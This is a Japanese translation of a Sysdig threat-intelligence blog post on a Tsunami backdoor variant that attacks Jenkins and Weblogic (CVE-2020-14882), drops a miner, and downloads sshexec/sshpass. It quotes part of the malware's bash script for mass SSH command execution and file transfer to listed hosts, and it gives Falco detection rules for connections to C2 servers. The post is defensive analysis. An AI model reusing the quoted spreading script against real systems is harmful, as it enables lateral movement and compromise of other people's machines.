脅威ニュース:Tsunamiマルウェアが変異 今度はJenkinsとWeblogicのサービスを狙う

By 清水 孝郎 - OCTOBER 26, 2021

SHARE:

本文の内容は、2021年10月26日にAlberto Pellitteriが投稿したブログ(https://sysdig.com/blog/tsunami-malware-jenkins-weblogic/)を元に日本語に翻訳・再構成した内容となっております。

Tsunamiマルウェアが戻ってきました!

数年前に初めて登場したマルウェアですが、Sysdig リサーチチームは、KubernetesクラスターにデプロイされたJenkinsやWeblogicサービスを標的としたTsunamiマルウェアの新しいサンプルを発見しました。


Tsunamiマルウェアは、攻撃者が感染したシステムを完全に制御できるようにするバックドアです。実際、標的となったマシンは、一度感染するとIRCサーバーと通信し、新しいコマンドの実行を待ちます。この動作により、悪意のあるユーザーはシェルコマンドを実行したり、ファイルをダウンロードしたり、DDoS攻撃を行ったりすることができます。

Tsunamiマルウェアの新しいベクトル攻撃

Sysdig リサーチチームは、Tsunamiマルウェアが2つの新しいサービスを攻撃していることを検出することができました。JenkinsWeblogicです。前者は、ダッシュボードの設定ミスが原因で利用されました。後者では、よく知られた脆弱性CVE-2020-14882が悪用されました。CVE-2020-14882は、1年以上前にパッチが適用されましたが、対象となるコンテナイメージが更新されていなかったため、脆弱性が残っていました。

結果的に、これらのサービスはリモートコマンド実行によって悪用され、攻撃者はcurlコマンドを起動することができました。このようにしてダウンロードされたスクリプトは、Tsunamiマルウェアの基盤となるもので、ホストOS(32ビットまたは64ビット)に応じてバージョンがダウンロードされます。

さらに興味深いのは、このマルウェアがマイナーの実行を伴っていたことです。以下の画像では、Sysdigエージェントが検出したsyscallを見ることができます。



このTsunamiマルウェアの現在の影響

Tsunamiマルウェアは、悪意のあるユーザーにリモートコントロールのアクセスを与えることができます。そのため、潜在的な攻撃者は、感染したシステムを完全に制御し、そのシステムを活用して、計算機資源を利用したり、他の場所に攻撃を伝播させたりすることができます。

今回発見されたマルウェアのサンプルでは、一度被害者のサービスにアクセスしてIRCチャンネルに参加し、マイナーを起動した後、IRCサーバーから暗号化されたメッセージを受信しています。そのため、2人のコミュニケーションを再現することは不可能でした。

代わりに明らかになったのは、感染したマシンが sshexec  sshpassという2つの新しいファイルをダウンロードしていたことです。

前者はbashスクリプトで、後に sshpass のパラメータとして使用されるいくつかの変数や引数を設定します。

後者は、SSHでパスワード認証を非対話的に行うためのマスエグゼキューターと思われる実行バイナリです。あらかじめ sshexec  bash スクリプトで受け取ったり設定したりしたホストのリストに対して使うことができます。

if [ "$SCP" == "yes" ];	then
./sshpass -p "$PASS" scp $KEYFILE -q -P "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" "$SCPFILE" $USER@$IP:$SCPPATH 2> /dev/null
if [ "$?" == 0 ]; then
echo -ne " ${LYELLOW}[${LCYAN} $SCPFILE ${LWHITE} Transfered to ${LGREEN}$IP:$PORT ${LYELLOW}] ${RESET}\n"
fi
fi
if [ "$ExecSpeed" == "&" ]; then
./sshpass -p "$PASS" ssh $KEYFILE -q -p "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" $USER@$IP "echo -e \"\033[0m\";echo -ne \" \033[93m[\033[91m $i/$total \033[93m] \033[93m[\033[97m Executing cmd to \033[92m$IP:$PORT \033[93m] \033[96m \";$CMD" 2> /dev/null &
else
./sshpass -p "$PASS" ssh $KEYFILE -q -p "$PORT" -o "UserKnownHostsFile=$UserKnownHostsFile" -o "BatchMode=$BatchMode" -o "ConnectTimeout=$ConnectTimeout" -o "StrictHostKeyChecking=$StrictHostKeyChecking" $USER@$IP "echo -ne \" \033[93m[\033[91m $i/$total \033[93m] \033[93m[\033[97m Executing cmd to \033[92m$IP:$PORT \033[93m] \033[96m \";$CMD;echo -e \"\033[0m\"" 2> /dev/null
fi

この2つのファイルは、ファイルを送信するSCPコネクションを開くこともできます。また、新しいコマンドの実行を要求して起動することもできます。

Tsunamiマルウェアの対策

お使いの環境にJenkinsやWeblogicのサービスが導入されている場合、Tsunamiマルウェアに遭遇する可能性があります。設定したサービスのバージョンに注意を払い、脆弱性があるかどうか、新しいバージョンがあるかどうかを確認してください。もしそうであれば、アップデートを適用しなければなりません。

また、デフォルトの認証情報を使用すると、いくつかのリスクにさらされる可能性があることを常に念頭に置いておく必要があります。

FalcoによるTsunamiマルウェアの検出

セキュリティの層を厚くすることは、常に良い選択肢です。その方法の1つは、ランタイムにおいてコンテナを監視することです。この目的のために、Falcoを使用すると、このマルウェアサンプルによって引き起こされた疑わしい実行を検出することができます。

FalcoはCNCFのインキュベーションプロジェクトで、クラウドネイティブ環境での異常な活動を検出し、ランタイム時にアラートを送信することができます。これを行うためには、Falcoのデフォルトのルールを使用することもできますし、その簡単で柔軟な言語を利用してより具体的なルールを作成することもできます。

このようにして、不審な接続などの異常な行動を検出し、Falcoアラートを受信することができます。

- rule: Unexpected outbound connection destination
desc: Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names
condition: >
consider_all_outbound_conns and outbound and not
((fd.sip in (allowed_outbound_destination_ipaddrs)) or
(fd.snet in (allowed_outbound_destination_networks)) or
(fd.sip.name in (allowed_outbound_destination_domains)))
output: Disallowed outbound connection destination
(command=%proc.cmdline connection=%fd.name user=%user.name
user_loginuid=%user.loginuid container_id=%container.id
image=%container.image.repository)
priority: NOTICE
tags: [network]


- rule: Unexpected inbound connection source
desc: Detect any inbound connection from a source outside of an allowed set of ips, networks, or domain names
condition: >
consider_all_inbound_conns and inbound and not
((fd.cip in (allowed_inbound_source_ipaddrs)) or
(fd.cnet in (allowed_inbound_source_networks)) or
(fd.cip.name in (allowed_inbound_source_domains)))
output: Disallowed inbound connection source (command=%proc.cmdline
connection=%fd.name user=%user.name user_loginuid=%user.loginuid
container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network]


- rule: Container Drift Detected (chmod)
desc: New executable created in a container due to chmod
condition: >
chmod and consider_all_chmods and container and
not runc_writing_var_lib_docker and
not user_known_container_drift_activities and
evt.rawres>=0 and
((evt.arg.mode contains "S_IXUSR") or
(evt.arg.mode contains "S_IXGRP") or
(evt.arg.mode contains "S_IXOTH"))
exceptions:
- name: proc_name_image_suffix
fields: [proc.name, container.image.repository]
comps: [in, endswith]
- name: cmdline_file
fields: [proc.cmdline, fd.name]
comps: [in, in]
Values:
- [["runc:[1:CHILD] init"], [/exec.fifo]]
output: Drift detected (chmod), new executable created in a
container (user=%user.name user_loginuid=%user.loginuid
command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name
mode=%evt.arg.mode event=%evt.type)
priority: ERROR

- rule: Outbound Connection to C2 Servers
desc: Detect outbound connection to command & control servers
condition: outbound and fd.sip in (c2_server_ip_list)
exceptions:
- name: proc_proto_sport
fields: [proc.name, fd.l4proto, fd.sport]
output: Outbound connection to C2 server (command=%proc.cmdline
connection=%fd.name user=%user.name user_loginuid=%user.loginuid
container_id=%container.id image=%container.image.repository)
priority: WARNING
tags: [network]


これらのルールについてさらに詳しく知りたい場合は、GitHubでルールの全説明を確認できます。

まとめ

Tsunamiマルウェアは、脆弱なサービスやアプリケーションにアクセスするために攻撃者が依然として活用しているバックドアです。このマルウェアは、シェルコマンドの実行やバイナリのダウンロードを可能にし、感染したマシンを使ってDDoSなどのさらなる攻撃を仕掛けてくることがあります。

マルウェアのエコシステムは常に変化しており、攻撃者が攻撃手段を改善するのと同様に、我々のセキュリティ防御を更新する必要があります。Tsunamiマルウェアは、このような悪意ある活動の一例です。

このマルウェアが引き起こす可能性のある不審な活動を検出するために、ランタイムセキュリティの強力なツールであるFalcoを使用することができます。

お使いの環境に上記のようなサービスが含まれている場合は、それらが最新の状態であり、十分に防御されていることを確認してください。インスタンスとアプリケーションのセキュリティは、お客様の責任であることを常に念頭に置いてください。



Falcoについてもっと知りたい方は、こちらをご覧ください: